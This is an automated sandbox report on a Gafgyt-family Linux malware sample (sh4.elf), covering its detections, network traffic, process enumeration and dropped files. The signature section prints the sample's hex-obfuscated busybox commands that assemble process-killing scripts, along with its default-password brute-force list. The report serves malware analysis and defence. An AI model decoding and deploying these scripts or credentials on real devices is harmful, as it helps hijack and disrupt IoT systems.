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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1654219
MD5:	5de069289a8b9818408598e09abf66e0
SHA1:	fdcd4642930bf187ccb05789fd0a8c3f097b12f5
SHA256:	7ce50411aaaa58648c44522eae656de97c804bb42031c5111a1d586d3ae6b630
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654219
Start date and time:	2025-04-02 05:23:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal48.linELF@0/4@0/0

Runtime Messages

Command:	/tmp/sh4.elf
PID:	6222
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 6222, Parent: 6140, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 6226, Parent: 6222)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sh4.elf	Virustotal: Detection: 39%			Perma Link
Source: sh4.elf	ReversingLabs: Detection: 33%

Source: /tmp/sh4.elf (PID: 6226)

Socket: 127.0.0.1:22448

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: support

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/4@0/0

Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1594/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1349/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1344/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1465/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1465/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1586/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1463/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1463/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 6222)	File opened: /proc/800/cmdline	Jump to behavior

Source: /tmp/sh4.elf (PID: 6222)

Queries kernel information via 'uname':

Jump to behavior

Source: sh4.elf, 6222.1.00007fa6e4425000.00007fa6e442c000.rw-.sdmp, sh4.elf, 6226.1.00007fa6e4425000.00007fa6e442c000.rw-.sdmp	Binary or memory string: B!!a1gAWFxuAXsFWUgBRQAA!!a1gAWFxuAXsAWUgKRXgA!!a1gAWFxuAXsAWEgJR3IA!!a10CWFxuAHsGWVcWQHAA!!a10CWFxuAHsGWVcWQHUA!!aFwAWF9uA3sGW0gLRgAA!!aFwAWFlpG2QBW0gJTwAA!!qemu-arm2QBW0gJTwAA!
Source: sh4.elf, 6226.1.00007fa6e4425000.00007fa6e442c000.rw-.sdmp	Binary or memory string: vmware
Source: sh4.elf, 6222.1.00007fa6e4425000.00007fa6e442c000.rw-.sdmp, sh4.elf, 6226.1.00007fa6e4425000.00007fa6e442c000.rw-.sdmp	Binary or memory string: qemu-arm
Source: sh4.elf, 6222.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.uq2YqF
Source: sh4.elf, 6222.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp, sh4.elf, 6226.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 6222.1.0000558f4a13d000.0000558f4a1e6000.rw-.sdmp, sh4.elf, 6226.1.0000558f4a13d000.0000558f4a1e6000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 6222.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.uq2YqF\TIl
Source: sh4.elf, 6222.1.0000558f4a13d000.0000558f4a1e6000.rw-.sdmp, sh4.elf, 6226.1.0000558f4a13d000.0000558f4a1e6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 6222.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp, sh4.elf, 6226.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 6226.1.00007ffc58359000.00007ffc5837a000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sh4.elf	39%	Virustotal		Browse
sh4.elf	33%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	efefa7.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	eehah4.elf	Get hash	malicious	Unknown	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
91.189.91.42	efefa7.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	eehah4.elf	Get hash	malicious	Unknown	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	efefa7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	eehah4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
CANONICAL-ASGB	efefa7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	eehah4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
INIT7CH	efefa7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	eehah4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	sh4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.93raTH (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	3.8370222648475893
Encrypted:	false
SSDEEP:	6:URJdFYgcaFF1SaI/VUR4caFF1SWdIwVb/VKAvVVyAb/3hM/V+4D/VH:ITFyaPJRlazKgoaVIAbRMfF
MD5:	1BE2AD4A22B38ECE3D57C24DDADDB29C
SHA1:	DB4E5A6C00F3939DEAE0B14DB17CE2EE388221E7
SHA-256:	5E892F1EC61A9E009F827C9969882AF7AE7BA68A90F4D13E19179CBAF6414C0A
SHA-512:	627E671C3455C1F12694384B84494A3B3BCE669F3091D608688235EEDC25A98320E21037AFB4B8491B67755AE1405E2FEED99CC4E83BB3A09C6B4A494ACDD39F
Malicious:	false
Reputation:	low
Preview:	400000-415000 r-xp 00000000 fd:00 531563 /tmp/sh4.elf.424000-425000 rw-p 00014000 fd:00 531563 /tmp/sh4.elf.425000-42c000 rw-p 00000000 00:00 0 .7f7fe000-7f7ff000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

/tmp/qemu-open.C3eP9G (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:TgKYn:TgKYn
MD5:	AEF4020327A62D78F5A8202D453B0A74
SHA1:	84FC7A7CBE0B4EF5BDB927B95EA1BD01665BE8B1
SHA-256:	1878DDF74B755A998CBFD2140779771966ADF507D2B95CA86906476BFD80575B
SHA-512:	0E1BF58363F746F19B92730E15E2091F05A2C87B120B004F3819735F4D60268E66711EBEB06E3B771B2DE327FCBB3DDD368241E7A6E1A1B759384F6D70A2C528
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/sh4.elf.

/tmp/qemu-open.uq2YqF (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:TgKYn:TgKYn
MD5:	AEF4020327A62D78F5A8202D453B0A74
SHA1:	84FC7A7CBE0B4EF5BDB927B95EA1BD01665BE8B1
SHA-256:	1878DDF74B755A998CBFD2140779771966ADF507D2B95CA86906476BFD80575B
SHA-512:	0E1BF58363F746F19B92730E15E2091F05A2C87B120B004F3819735F4D60268E66711EBEB06E3B771B2DE327FCBB3DDD368241E7A6E1A1B759384F6D70A2C528
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/sh4.elf.

/tmp/qemu-open.wsVQCF (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:TgKYn:TgKYn
MD5:	AEF4020327A62D78F5A8202D453B0A74
SHA1:	84FC7A7CBE0B4EF5BDB927B95EA1BD01665BE8B1
SHA-256:	1878DDF74B755A998CBFD2140779771966ADF507D2B95CA86906476BFD80575B
SHA-512:	0E1BF58363F746F19B92730E15E2091F05A2C87B120B004F3819735F4D60268E66711EBEB06E3B771B2DE327FCBB3DDD368241E7A6E1A1B759384F6D70A2C528
